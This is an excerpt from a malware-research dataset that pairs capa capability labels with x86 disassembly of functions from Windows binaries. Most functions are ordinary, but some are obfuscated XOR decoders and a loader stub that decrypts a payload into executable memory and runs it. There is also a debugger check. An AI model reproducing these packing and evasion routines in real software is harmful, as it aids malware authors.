joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42f8e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x46b760
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov esi, ecx
call fcn.0042d4e0
mov ebx, eax
test ebx, ebx
mov dword [esp + 0xc], ebx
jne 0x42f939
mov eax, dword [esp + 0x68]
xor ecx, ecx
mov ebx, eax
xor edx, edx
xor esi, esi
xor edi, edi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4c]
mov dword fs:[0], ecx
add esp, 0x58
ret 0xc
push ebp
mov ecx, ebx
call fcn.0042a950
mov ebp, dword [esp + 0x70]
mov edi, eax
add edi, ebp
mov ecx, ebx
mov dword [esp + 0x28], edi
call fcn.0042a940
mov edx, dword [esp + 0x74]
mov ecx, esi
add eax, edx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x20]
push eax
call fcn.0042ef90
mov ebp, dword [eax]
lea edx, [esp + 0x38]
push edx
mov ecx, dword [eax + 4]
mov eax, dword [esi + 0x1c]
push eax
mov dword [esp + 0x24], ecx
call dword [0x46d3d0]
push 0
lea ecx, [esp + 0x4c]
call fcn.004654b6
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], 0
call fcn.0043e790
add esp, 0xc
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x18]
call fcn.0042cf40
mov eax, dword [esp + 0x50]
lea edx, [esp + 0x38]
push 2
push edx
push eax
mov byte [esp + 0x70], 1
call dword [0x46d0c0]
mov ecx, ebx
call fcn.0042a8c0
mov ebx, eax
mov eax, edi
cmp eax, ebx
jge 0x42fa04
push edi
mov ecx, esi
call fcn.0042d050
push eax
push ebp
mov ecx, esi
call fcn.0042d210
cmp eax, dword [esp + 0x40]
jg 0x42fa00
inc edi
mov ebp, eax
cmp edi, ebx
jl 0x42f9de
mov eax, ebx
jmp 0x42fa0a
cmp edi, ebx
jl 0x42fa08
mov eax, ebx
jmp 0x42fa0a
mov eax, edi
lea ecx, [eax - 1]
mov eax, dword [esp + 0x28]
cmp eax, ecx
jle 0x42fa1b
mov dword [esp + 0x30], eax
jmp 0x42fa26
cmp edi, ebx
jl 0x42fa21
mov edi, ebx
dec edi
mov dword [esp + 0x30], edi
mov ecx, dword [esp + 0x10]
mov ebx, dword [esp + 0x1c]
call fcn.0042a880
mov ebp, eax
mov eax, dword [esp + 0x2c]
cmp eax, ebp
mov edi, eax
jge 0x42fa6d
push edi
mov ecx, esi
call fcn.0042cf70
push eax
push ebx
mov ecx, esi
call fcn.0042d340
cmp eax, dword [esp + 0x44]
jg 0x42fa65
inc edi
mov ebx, eax
cmp edi, ebp
jl 0x42fa3f
mov eax, dword [esp + 0x2c]
mov ecx, ebp
jmp 0x42fa77
cmp edi, ebp
jl 0x42fa71
mov eax, dword [esp + 0x2c]
mov ecx, ebp
jmp 0x42fa77
mov eax, dword [esp + 0x2c]
mov ecx, edi
dec ecx
cmp eax, ecx
jle 0x42fa80
mov ecx, eax
jmp 0x42fa89
cmp edi, ebp
jl 0x42fa86
mov edi, ebp
lea ecx, [edi - 1]
mov esi, dword [esp + 0x6c]
mov edi, dword [esp + 0x28]
mov edx, esi
mov dword [edx], edi
mov dword [edx + 4], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x14]
call fcn.0042cf60
lea ecx, [esp + 0x48]
mov dword [esp + 0x64], 0xffffffff
call fcn.00465528
mov ecx, dword [esp + 0x5c]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x58
ret 0xc
Function at 0x435a50
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46bc18
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x435a89
inc eax
mov dword [esi + 0x10], eax
jmp 0x435b9c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x435a9d
mov eax, 0xffffffc7
jmp 0x435b9e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x435aae
cmp dword [esi + 8], eax
jne 0x435a9d
cmp dword [esi + 8], eax
jne 0x435ac7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x435ac7
mov eax, 0xffffffc7
jmp 0x435b9e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x435adb
push eax
mov ecx, ebx
call fcn.00435280
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.0040a320
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x435b0c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.0040a340
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.004349f0
test eax, eax
mov dword [esp + 0x38], eax
je 0x435b3f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x1016568
call fcn.0040a520
mov eax, dword [esp + 0x38]
jmp 0x435b9e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.004358b0
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x435b83
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.004358d0
mov esi, eax
test esi, esi
jne 0x435bb3
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.004358b0
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x435b55
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x1016568
call fcn.0040a520
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x1016568
call fcn.0040a520
mov eax, esi
jmp 0x435b9e
Function at 0x43edf0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46c248
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [0x46d3d0]
push 0
lea ecx, [esp + 0x20]
call fcn.004654b6
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043e790
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004653e4
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.00461cad
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.00461cad
push 1
push 0
push 0
mov ecx, esi
call fcn.00461c55
push 1
push 0
push 1
mov ecx, esi
call fcn.00461c55
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00465528
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x43ef70
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46c268
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004654b6
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043e790
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004653e4
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [0x46d3d0]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x43f034
cmp dword [esp + 0x40], 1
jne 0x43f032
cmp ecx, eax
jge 0x43f034
mov eax, ecx
cmp eax, 0xc8
jge 0x43f040
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0043edf0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [0x46d3d4]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00465528
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x43f7c0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46c2d3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004600c6
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], 0x101a590
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], 0x1019318
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [0x46d08c]
push eax
mov ecx, edi
call fcn.0046575e
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00466c7a
test eax, eax
je 0x43f8dc
mov ecx, dword [esp + 0x3c]
call fcn.0046578b
mov ecx, dword [esi + 0x1c]
mov ebp, dword [0x46d3b0]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43f8a0
push edi
mov ecx, esi
call fcn.00462df4
mov ecx, esi
call fcn.0043fa40
cmp dword [esp + 0x38], 1
jne 0x43f8d5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00462f2f
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28

Function at 0x442300
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x442333
push esi
call fcn.00445410
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44232c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4423b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4423a2
mov eax, dword [esi + 8]
test eax, eax
je 0x442357
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44239e
cmp eax, 2
je 0x4423a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44234a
cmp eax, 3
je 0x44237d
cmp eax, 1
jne 0x44234a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44234a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44234a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004423e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4423c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004423e0
add esp, 4
pop esi
ret
Function at 0x29a10c52
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x29a10c61
pop dword [ebp - 8]
mov eax, 0x255bb937
sub eax, 0xfbbaacd6
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xc53776de
add dword [ebp - 0x18], 0x891ace6d
mov dword [ebp - 0x14], 0xfb3449e
sub dword [ebp - 0x14], 0xdd7ff859
mov dword [ebp - 0x10], 0x88765804
sub dword [ebp - 0x10], 0x3c2a13d6
mov dword [ebp - 0xc], 0x12d91a44
add dword [ebp - 0xc], 0xed26e5bc
lea eax, [ebp - 0x18]
push eax
mov eax, 0xd8fc6c29
add eax, 0x50a4d463
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xbc4c3e9d
add dword [ebp - 0x18], 0xb8262ab9
mov dword [ebp - 0x14], 0x3e510fe7
sub dword [ebp - 0x14], 0xfce4ae72
mov dword [ebp - 0x10], 0x97039613
sub dword [ebp - 0x10], 0x339429a7
mov dword [ebp - 0xc], 0x71f546ab
add dword [ebp - 0xc], 0x8e0ab955
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x19da18ea
add eax, 0xfc7275a
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3aecd
push 0
call eax
mov ecx, 0x4a97
mov edx, eax
mov ebx, 0x29a22000
add ebx, dword [ebp - 8]
mov edi, 0x3853542b
mov esi, dword [ebx]
add esi, edi
xor dword [ebp - 4], esi
mov dword [edx], esi
xor dword [ebp - 4], 0x51b82cdf
add edx, 4
add ebx, 0xf1dde426
sub ebx, 0xf1dde422
loop 0x29a10d71
add eax, 0xa23dd682
add eax, 0x5dc346ad
xor ebx, ebx
add ebx, eax
add eax, 0x3f663944
add eax, 0xc099c6c1
mov ecx, 0xcdb89197
sub ecx, 0xa4189197
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x100041d8
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x888
mov eax, dword [0x10007014]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x208
xor edi, edi
lea eax, [ebp - 0x634]
push edi
push eax
mov ebx, edx
mov esi, ecx
call sub.msvcrt.dll_memset
push 0x20a
lea eax, [ebp - 0x42c]
push edi
push eax
call sub.msvcrt.dll_memset
push 0x20a
lea eax, [ebp - 0x21c]
push edi
push eax
call sub.msvcrt.dll_memset
push 0x250
lea eax, [ebp - 0x884]
push edi
push eax
call sub.msvcrt.dll_memset
push esi
push ebx
push 0x10001c18
lea eax, [ebp - 0x634]
push 0x104
push eax
call fcn.10003ab4
add esp, 0x44
lea eax, [ebp - 0x884]
push eax
lea eax, [ebp - 0x634]
push eax
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100042c2
inc edi
cmp word [ebp - 0x42c], 0
je 0x10004299
lea eax, [ebp - 0x858]
push eax
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jle 0x100042b0
lea eax, [ebp - 0x858]
mov edx, 0x105
push eax
lea ecx, [ebp - 0x42c]
call fcn.10002750
lea eax, [ebp - 0x884]
push eax
push esi
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_FindNextFileW]
test eax, eax
jne 0x10004274
cmp edi, dword [ebp + 8]
jb 0x10004356
lea eax, [ebp - 0x42c]
push eax
push ebx
push 0x10001c30
lea eax, [ebp - 0x21c]
push 0x105
push eax
call fcn.10003ab4
add esp, 0x14
lea eax, [ebp - 0x21c]
mov edi, 0x80
push edi
push eax
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_SetFileAttributesW]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_DeleteFileW]
lea eax, [ebp - 0x21c]
push 0x2e
push eax
call dword [sym.imp.msvcrt.dll_wcsrchr]
pop ecx
pop ecx
test eax, eax
je 0x10004356
xor ecx, ecx
mov edx, 0x105
mov word [eax], cx
lea ecx, [ebp - 0x21c]
push 0x10001c3c
call fcn.10002785
push edi
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_SetFileAttributesW]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_DeleteFileW]
cmp esi, 0xffffffff
je 0x10004362
push esi
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_FindClose]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100059b0
leave
ret 4
Function at 0x10004373
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x10007014]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
lea ecx, [ebp - 0x414]
mov word [ebp - 0x414], ax
mov edx, 0x208
mov word [ebp - 6], ax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.10003a7d
test eax, eax
js 0x10004468
push edi
push 0x44
xor edi, edi
lea eax, [ebp - 0x46c]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x46c], 0x44
mov dword [ebp - 0x440], 0x81
push 6
pop eax
mov word [ebp - 0x43c], ax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x46c]
push eax
push edi
push edi
push 8
push edi
push edi
push edi
lea eax, [ebp - 0x414]
push eax
push edi
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_CreateProcessW]
test eax, eax
je 0x10004455
push 0xffffffffffffffff
push dword [ebp - 0x428]
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_WaitForSingleObject]
lea eax, [ebp - 0x418]
mov dword [ebp - 0x418], edi
push eax
push dword [ebp - 0x428]
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetExitCodeProcess]
push dword [ebp - 0x428]
call dword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
push dword [ebp - 0x424]
call dword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
mov eax, dword [ebp - 0x418]
jmp 0x1000445b
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
test eax, eax
jle 0x10004467
movzx eax, ax
or eax, 0x80070000
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100059b0
leave
ret
Function at 0x10004a04
Capabilities:
Print debug messages

Disassembly:
push 0x18
push 0x100060d0
call fcn.10005d04
xor esi, esi
mov dword [ebp - 0x24], esi
mov ebx, esi
mov dword [ebp - 0x20], ebx
cmp dword [0x1000907c], ebx
je 0x10004a31
push 0x10009064
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
inc ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], esi
xor eax, eax
mov word [0x10007350], ax
cmp dword [ebp + 0x14], eax
je 0x10004a65
lea eax, [ebp + 0x18]
push eax
push dword [ebp + 0x14]
mov edx, 0x3fd
mov ecx, 0x10007350
call fcn.10003a7d
xor eax, eax
mov word [0x10007b4a], ax
mov ax, word [0x10007350]
mov edi, 0x400
test ax, ax
je 0x10004a80
push 0x10001d40
mov edx, edi
mov ecx, 0x10007350
call fcn.10002785
mov ecx, 0x10007350
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x10004a88
sub ecx, edx
sar ecx, 1
sub edi, ecx
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
call fcn.10003c6e
mov edi, dword [ebp + 8]
cmp dword [edi + 0x18], esi
je 0x10004ab6
lea eax, [ebp - 0x1c]
push eax
call fcn.10003e21
lea eax, [ebp - 0x1c]
push eax
push ecx
mov ecx, dword [edi]
call fcn.10003e59
cmp dword [edi], esi
jne 0x10004acb
cmp dword [edi + 0x18], esi
je 0x10004adc
lea eax, [ebp - 0x1c]
push eax
push ecx
push ecx
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
call fcn.10003ed3
lea eax, [ebp - 0x1c]
push eax
call fcn.10004089
movzx ecx, word [edi + 4]
mov dword [ebp - 0x28], 0x10007350
lea eax, [ebp - 0x28]
push eax
sub esp, 0xc
mov edx, dword [edi + 8]
call fcn.10004111
mov eax, dword [edi + 8]
mov ecx, 0xc0000000
and eax, ecx
cmp eax, ecx
jne 0x10004b14
mov dword [ebp - 0x24], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.10004bb1
cmp dword [edi + 0x18], esi
je 0x10004b99
cmp dword [edi + 0x1c], esi
je 0x10004b87
call dword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
test eax, eax
jne 0x10004b3c
cmp byte [0x7ffe02d4], al
je 0x10004b87
push dword [edi]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcessId]
push eax
push 0x10001d48
push 0x3ff
mov ebx, 0x10007d60
push ebx
call fcn.10003ab4
add esp, 0x20
push 0x10001df0
call dword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_OutputDebugStringW]
push ebx
call dword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_OutputDebugStringW]
push 0x10001e80
call dword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_OutputDebugStringW]
cmp dword [edi + 0x18], esi
je 0x10004b99
push ecx
push dword [edi + 0x1c]
push dword [ebp - 0x24]
push ecx
call fcn.10004979
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005b20
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x10005b5e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x10005b56
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x10005b60
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x10005b46
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10005c30
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x10005c61
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x10005c61
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x10005c61
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000e386
Capabilities:
Encode data using xor

Disassembly:
call 0x1000e2ff
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1000e32f
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1000e34b
xor edx, 0
jmp 0x1000e356
xor edx, edx
jmp 0x1000e36d
jmp 0x1000e379
xor eax, eax
push 0x8427d7c0
call 0x1000e386
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1000e3c2
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1000e39b
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1000e3d9
add eax, 0
jno 0x1000e3de
add esi, 0
ret 0x10
Function at 0x1000f147
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1000f169
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1000f30b
cmp edi, dword [ebp + 0x10]
jb 0x1000f30b
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1000ec33
inc edi
jmp 0x1000f1f2
jmp 0x1000f1ff
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000ec33
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000ec33
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1000f253
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1000f237
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000f281
add dword [eax], 0x39
jle 0x1000f25d
sub al, 0xf5
mov ch, al
call fcn.1000f296
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x10010f6e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x10010f84
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
